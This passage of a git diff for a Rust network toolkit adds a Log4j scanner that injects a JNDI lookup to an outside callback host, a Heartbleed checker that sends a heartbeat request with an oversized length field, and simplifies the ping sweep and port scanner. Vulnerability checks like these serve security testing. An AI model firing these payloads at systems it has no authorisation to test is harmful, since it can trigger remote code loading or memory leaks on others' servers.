hello.extend_from_slice(&0x0039u16.to_be_bytes());
hello.push(1);
hello.push(0);
hello.extend_from_slice(&0x0000u16.to_be_bytes());
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn prompt_port() -> Option<u16> {
print!("Enter port (default 443): ");
io::stdout().flush().ok();
let mut input = String::new();
if io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
+44
View File
@@ -0,0 +1,44 @@
use anyhow::{Result, Context};
use rand::Rng;
use reqwest::Client;
use std::io::{self, Write};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter URL or host to scan: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let host = input.trim();
let client = Client::builder()
.redirect(reqwest::redirect::Policy::limited(3))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let token: u32 = rand::thread_rng().gen();
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
for scheme in ["http", "https"] {
let url = if host.starts_with("http") {
host.to_string()
} else {
format!("{}://{}", scheme, host)
};
match client.get(&url).header("User-Agent", &payload).send().await {
Ok(resp) => {
println!("[+] {} -> status {}", url, resp.status());
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
Ok(())
}
+2
View File
@@ -4,3 +4,5 @@ pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod log4j_scanner;
pub mod heartbleed_scanner;
+31 -524
View File
@@ -1,540 +1,47 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use anyhow::{Result, Context};
use ipnet::IpNet;
use std::{
collections::HashSet,
fs::File,
io::{self, BufRead, BufReader, Write},
net::{IpAddr, SocketAddr},
sync::{
atomic::{AtomicUsize, Ordering},
Arc,
},
};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
use std::net::IpAddr;
use std::sync::Arc;
use std::io::{self, Write};
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
#[derive(Clone, Debug)]
struct PingConfig {
targets: Vec<IpNet>,
methods: Vec<PingMethod>,
concurrency: usize,
timeout_secs: u64,
verbose: bool,
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
#[derive(Clone, Debug)]
enum PingMethod {
Icmp,
Tcp { ports: Vec<u16> },
}
impl PingMethod {
fn describe(&self) -> String {
match self {
PingMethod::Icmp => "ICMP".to_string(),
PingMethod::Tcp { ports } => {
if ports.len() == 1 {
format!("TCP/{}", ports[0])
} else {
format!(
"TCP [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
}
}
fn label(&self) -> &'static str {
match self {
PingMethod::Icmp => "ICMP",
PingMethod::Tcp { .. } => "TCP",
}
}
async fn probe(&self, ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
match self {
PingMethod::Icmp => icmp_probe(ip, timeout).await,
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
}
}
}
/// Main entry point triggered via the dispatcher
pub async fn run(initial_target: &str) -> Result<()> {
let config = gather_configuration(initial_target)?;
execute_ping_sweep(&config).await
}
fn parse_target(input: &str) -> Result<IpNet> {
if let Ok(net) = input.parse::<IpNet>() {
return Ok(net);
}
if let Ok(ip) = input.parse::<IpAddr>() {
let prefix = match ip {
IpAddr::V4(_) => 32,
IpAddr::V6(_) => 128,
};
let cidr = format!("{}/{}", ip, prefix);
let net = cidr
.parse::<IpNet>()
.context("failed to convert host to /32 or /128 network")?;
return Ok(net);
}
Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
}
fn gather_configuration(initial: &str) -> Result<PingConfig> {
println!("{}", "=== Ping Sweep Configuration ===".bold());
let mut nets: Vec<IpNet> = Vec::new();
let initial_trimmed = initial.trim();
if !initial_trimmed.is_empty() {
match parse_target(initial_trimmed) {
Ok(net) => {
println!(
"{}",
format!("[*] Loaded initial target {}", net).green()
);
nets.push(net);
}
Err(e) => {
eprintln!(
"{}",
format!(" Initial target '{}' skipped: {}", initial_trimmed, e)
.yellow()
);
}
}
}
if prompt_yes_no("Add additional targets manually?", false)? {
loop {
let entry = prompt_line(
"Enter target (IP or CIDR, leave blank to stop): ",
true,
)?;
if entry.is_empty() {
break;
}
match parse_target(&entry) {
Ok(net) => {
println!("{}", format!(" + {}", net).cyan());
nets.push(net);
}
Err(e) => {
eprintln!("{}", format!(" ! {}", e).red());
}
}
}
}
if prompt_yes_no("Load targets from file?", false)? {
let path = prompt_line("Path to file: ", false)?;
let file_targets = load_targets_from_file(&path)?;
if file_targets.is_empty() {
println!("{}", " No targets parsed from file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} targets from '{}'",
file_targets.len(),
path
)
.green()
);
nets.extend(file_targets);
}
}
if nets.is_empty() {
return Err(anyhow!(
"No valid targets supplied. Provide at least one IP or subnet."
));
}
// Deduplicate targets
let mut unique: HashSet<IpNet> = HashSet::new();
for net in nets {
unique.insert(net);
}
let targets: Vec<IpNet> = unique.into_iter().collect();
let timeout_secs =
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
let concurrency =
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
let methods = loop {
let mut methods = Vec::new();
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
methods.push(PingMethod::Icmp);
}
if prompt_yes_no("Use TCP connect probes?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Tcp { ports });
}
}
if methods.is_empty() {
println!("{}", "Select at least one method.".red().bold());
continue;
}
break methods;
};
println!(
"{}",
format!(
"\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s",
targets.len(),
methods_summary(&methods),
concurrency,
timeout_secs
)
.bold()
);
Ok(PingConfig {
targets,
methods,
concurrency,
timeout_secs,
verbose,
})
}
fn load_targets_from_file(path: &str) -> Result<Vec<IpNet>> {
let file = File::open(path)
.with_context(|| format!("Failed to open target file '{}'", path))?;
let reader = BufReader::new(file);
let mut nets = Vec::new();
for (idx, line) in reader.lines().enumerate() {
let line = line?;
let mut content = line.split('#').next().unwrap_or("").trim().to_string();
if content.is_empty() {
continue;
}
content = content.replace(',', " ");
for token in content.split_whitespace() {
match parse_target(token) {
Ok(net) => nets.push(net),
Err(e) => {
eprintln!(
"{}",
format!(" [file:{}] skipped '{}': {}", idx + 1, token, e)
.yellow()
);
}
}
}
}
Ok(nets)
}
fn methods_summary(methods: &[PingMethod]) -> String {
methods
.iter()
.map(PingMethod::describe)
.collect::<Vec<_>>()
.join(", ")
}
async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let mut host_set: HashSet<IpAddr> = HashSet::new();
for net in &config.targets {
for host in net.hosts() {
host_set.insert(host);
}
}
if host_set.is_empty() {
println!("{}", "No host addresses derived from supplied targets.".yellow());
return Ok(());
}
let mut hosts: Vec<IpAddr> = host_set.into_iter().collect();
hosts.sort();
let total_hosts = hosts.len();
println!(
"{}",
format!(
"\n[*] Beginning sweep of {} hosts using {} method(s)...",
total_hosts,
config.methods.len()
)
.bold()
);
let semaphore = Arc::new(Semaphore::new(config.concurrency));
let methods = Arc::new(config.methods.clone());
let timeout = Duration::from_secs(config.timeout_secs.max(1));
let verbose = config.verbose;
let success_counter = Arc::new(AtomicUsize::new(0));
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter CIDR range to sweep: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
let hosts: Vec<IpAddr> = net.hosts().collect();
let semaphore = Arc::new(Semaphore::new(50));
let mut tasks = Vec::new();
for ip in hosts {
let sem = semaphore.clone();
let methods_clone = methods.clone();
let success_clone = success_counter.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
let permit = match sem.acquire_owned().await {
Ok(p) => p,
Err(_) => return,
};
let ip_string = ip.to_string();
let mut successes = Vec::new();
for method in methods_clone.iter() {
match method.probe(&ip, timeout).await {
Ok(mut labels) => successes.append(&mut labels),
Err(err) => {
if verbose {
eprintln!(
"{}",
format!(
"[!] {} ({}) error: {}",
ip_string,
method.label(),
err
)
.yellow()
);
}
}
let _permit = sem.acquire_owned().await.unwrap();
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
let result = timeout(
Duration::from_secs(3),
Command::new(cmd)
.args(["-c", "1", "-W", "1", &ip_str])
.output(),
)
.await;
if let Ok(Ok(out)) = result {
if out.status.success() {
println!("[+] Host {} is up", ip_str);
}
}
drop(permit);
if !successes.is_empty() {
success_clone.fetch_add(1, Ordering::Relaxed);
println!(
"{}",
format!(
"[+] Host {} is up ({})",
ip_string,
successes.join(", ")
)
.green()
);
} else if verbose {
println!("{}", format!("[-] Host {} is down", ip_string).dimmed());
}
}));
}
for task in tasks {
let _ = task.await;
for t in tasks {
let _ = t.await;
}
let up_hosts = success_counter.load(Ordering::Relaxed);
println!(
"{}",
format!(
"\n[*] Sweep complete: {}/{} hosts responded.",
up_hosts, total_hosts
)
.bold()
);
Ok(())
}
async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
let wait_secs = timeout.as_secs().max(1).to_string();
let ip_str = ip.to_string();
let result = tokio::time::timeout(
timeout,
Command::new(cmd)
.args(["-c", "1", "-W", &wait_secs, &ip_str])
.output(),
)
.await;
match result {
Ok(Ok(output)) => {
if output.status.success() {
Ok(vec!["ICMP".to_string()])
} else {
Ok(Vec::new())
}
}
Ok(Err(err)) => Err(err.into()),
Err(_) => Ok(Vec::new()),
}
}
async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
let mut successes = Vec::new();
for port in ports {
let socket = SocketAddr::new(*ip, *port);
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
Ok(Ok(stream)) => {
successes.push(format!("TCP/{}", port));
drop(stream);
}
Ok(Err(_)) => {}
Err(_) => {}
}
}
Ok(successes)
}
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_string();
if !allow_empty && trimmed.is_empty() {
return Err(anyhow!("Input cannot be empty."));
}
Ok(trimmed)
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!(
"{}",
format!("{} [{}]: ", message, default).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!(
"{}",
format!("{} [{}]: ", message, default_hint).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(
message: &str,
default: usize,
min: Option<usize>,
max: Option<usize>,
) -> Result<usize> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<usize>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn prompt_u64(
message: &str,
default: u64,
min: Option<u64>,
max: Option<u64>,
) -> Result<u64> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<u64>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn parse_ports(input: &str) -> Result<Vec<u16>> {
let mut ports = Vec::new();
for token in input.replace(',', " ").split_whitespace() {
match token.parse::<u16>() {
Ok(port) => ports.push(port),
Err(_) => {
println!(
"{}",
format!(" Skipping invalid port '{}'", token).yellow()
);
}
}
}
ports.sort_unstable();
ports.dedup();
Ok(ports)
}
+79 -425
View File
@@ -1,20 +1,17 @@
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[derive(Debug, Clone)]
#[derive(Debug)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
@@ -22,109 +19,17 @@ pub struct ScanSettings {
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
pub port_range: PortRange,
}
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
})
}
@@ -139,7 +44,6 @@ pub async fn run_interactive(target: &str) -> Result<()> {
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
settings.port_range,
)
.await
}
@@ -154,284 +58,115 @@ pub async fn run_with_settings(
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
_verbose: bool,
verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
port_range: PortRange,
) -> Result<()> {
let start_time = Instant::now();
// Resolve domain or IP
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let ports = port_range.get_ports();
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
let mut tasks = vec![];
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
let mut tcp_tasks = vec![];
for port in &ports {
println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str);
writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?;
let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize))));
// TCP Scan loop
println!("[*] Starting TCP scan...");
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner);
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
progress_bar.lock().unwrap().increment();
});
tcp_tasks.push(handle);
tasks.push(handle);
}
// UDP Scan
let mut udp_tasks = vec![];
// UDP Scan loop
if scan_udp_enabled {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
println!("[*] Starting UDP scan...");
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
if let Some(status) = scan_udp(&ip, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
progress_bar.lock().unwrap().increment();
});
udp_tasks.push(handle);
tasks.push(handle);
}
}
// Await all tasks
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
for task in tasks {
let _ = task.await;
}
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_udp_enabled {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
}
println!("[*] Scan complete. Results saved to {}", output_file);
Ok(())
}
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
/// === TCP Port Scanner (Banner Grab) ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(mut stream)) => {
// Try service-specific probes for better banner grabbing
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
}
}
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
Ok(Ok(stream)) => {
let mut buf = [0u8; 1024];
// Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc)
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
}
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
}
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
}
}
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
/// === UDP Port Scanner (Stateless "Fire-and-Forget") ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
// We bind to a random UDP port on localhost
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
@@ -439,14 +174,14 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
};
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10";
let payload = b"\x00\x00\x10\x10"; // Random small packet
let _ = sock.send_to(payload, target).await;
// Set a timeout: if port is closed, we should get "Connection refused"
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response!
Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable
Err(_) => Some("FILTERED".into()), // No response
}
}
@@ -454,6 +189,7 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
// Prefer IPv4, else fallback to first address
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
@@ -465,7 +201,7 @@ fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message.cyan().bold());
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
@@ -475,13 +211,10 @@ fn prompt(message: &str) -> Result<String> {
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
